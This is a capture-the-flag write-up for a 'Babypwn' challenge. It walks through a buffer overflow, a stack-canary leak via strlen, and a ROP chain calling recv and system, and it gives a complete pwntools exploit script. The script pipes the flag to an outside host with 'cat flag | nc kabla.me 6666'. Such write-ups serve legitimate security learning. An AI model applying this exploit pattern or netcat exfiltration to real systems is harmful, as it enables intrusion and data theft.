logo

Posted by kablaa Feburary, 2017

Babypwn (Pwn-50)

For this challenge, we were given a binary with a simple echo functionality. Here is the decomailed main loop, which contains the core functionality.

                        
    int main_loop()
    {
      int user_selection;
      char echo_buf[40];
      memset(echo_buf, 0, sizeof(echo_buf));
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            print_str("\n===============================\n");
            print_str("1. Echo\n");
            print_str("2. Reverse Echo\n");
            print_str("3. Exit\n");
            print_str("===============================\n");
            user_selection = get_user_selection();
            if ( user_selection != 1 )
              break;
            print_str("Input Your Message : "); // Echo Functionality
            get_user_string(echo_buf, 100); //overflow
            print_str(echo_buf);
          }
          if ( user_selection != 2 )
            break;
          print_str("Input Your Message : "); // reverse echo funcitonality
          get_user_string(echo_buf, 100); //overflow
          reverse_str(echo_buf);
          print_str(echo_buf);
        }
        if ( user_selection == 3 )
          break;
        print_str("\n[!] Wrong Input\n");
      }
    }
                        
                      
So we are reading 100 bytes into a 40 byte buffer, a simple buffer overflow. They were even nice enough to give us a plt address of system by adding a hidden function:
                      
int system_call()
{
  system("echo 'not easy to see.'");
}
                      
                    
However, there are a few things that make solving this challenge a bit more complicated.
  • Stack Canaries are enabled, so we are going to have to find a way around them.
  • DEP is enabled, so shellcode is out of the question.
  • All I/O is handled by a TCP socket, which means simply calling system("cat flag") will not work, as this will not send the flag over the socket
  • Defeating The Stack Canary

    Let's take a look at the print_str function:

                            
    int print_str(const char *buf)
    {
      return send(fd, buf, strlen(buf), 0);
    }
                            
                          
    The key here is the use of strlen, which determines the end of a string by searching for the first occurence of a NULL byte. Another important thing to note is the fact that the first byte of a canary is always a NULL byte. This is apparently for the pupose of adding an extra layer of security, so that functions such as printf will not print a canary. Becuase we control the length of buf, we can overflow our buffer in such a way that our \n character overwrites the first byte (the NULL byte) of the canary. Because we are still nested inbetween 2 infinite loops, the main_loop function will not actually return, thus we can leak the canary and can continue our journey to EIP.

    Working around the I/O

    Because all I/O is handled with the send and recv functions, we are going to have to find a creative way of actually getting the flag. My plan was to set up a netcat server on my VPS and use system to execute the command

    cat flag | nc kabla.me 6666
                          

    The Exploit

  • FOpen up port 6666 on my VPS and set up my tcp server: nc -l 6666
  • Exploit strlen and the overflow to leak the canary
  • Put the canary back and overwrite EIP with my ROP chain
  • Use the recv function to write my command into memory. We need to use writable memory, I chose the .data section.
  • Finally, we call system and pass the address of our command to it
  • ropgadget reviels a handy gadget that we can use to help us call the recv function

    0x08048eec : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
                          
    Here is my exploit.py

                          
    from pwn import *
    
    context.arch = 'i386'
    context.os = 'linux'
    context.log_level = 'info'
    
    HOST = 'localhost'
    # HOST = '110.10.212.130'
    PORT = 8888
    echo = '1'
    reverse_echo = '2'
    exit = '3'
    
    exe = ELF('babypwn')
    system_plt = exe.plt['system']
    log.info("system: " + hex(system_plt))
    recv_plt = exe.plt['recv']
    log.info("recv : "  + hex(recv_plt))
    
    cmd = "cat flag | nc kabla.me 6666"
    bytes_to_canary = 40
    
    r = remote(HOST,PORT)
    
    #getting leaked canary
    r.recv()
    r.sendline(echo)
    time.sleep(.1)
    r.recv()
    payload = "A" *(bytes_to_canary)
    r.sendline(payload)
    time.sleep(.1)
    data = r.recv()
    canary = u32("\x00" +data[bytes_to_canary+1:bytes_to_canary+1+3] )
    log.info("canary: " + hex(canary))
    
    #build da ROP chain
    rop = ROP(exe)
    ppppr = rop.find_gadget(["pop ebx","pop esi"])
    log.info("found gadget at:" +  hex(ppppr.address))
    
    system_arg = 0x804b080 # .data section
    rop.raw(canary)
    rop.raw(0xdeadbeef)
    rop.raw(0xdeadbeef)
    rop.raw(0xdeadbeef)
    rop.raw(recv_plt)
    rop.raw(ppppr) # our gadget
    rop.raw(0x4) #socket file descriptor
    rop.raw(system_arg) #our command should be written here
    rop.raw(len(cmd))
    rop.raw(0) #flag for recv
    rop.raw(system_plt)
    rop.raw(0xdeadbeef)
    rop.raw(system_arg)
    log.info("ROP chain: " + rop.dump())
    
    payload = "A"*bytes_to_canary
    payload += str(rop)
    
    #selecting the echo functionality
    r.sendline(echo)
    time.sleep(.1)
    r.recv()
    
    #sending our payload
    r.sendline(payload)
    time.sleep(.1)
    r.recv()
    #exit so that we will return
    r.sendline(exit)
    time.sleep(.1)
    
    # pass our command to recv
    r.sendline(cmd)
    
                          
                        
    FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}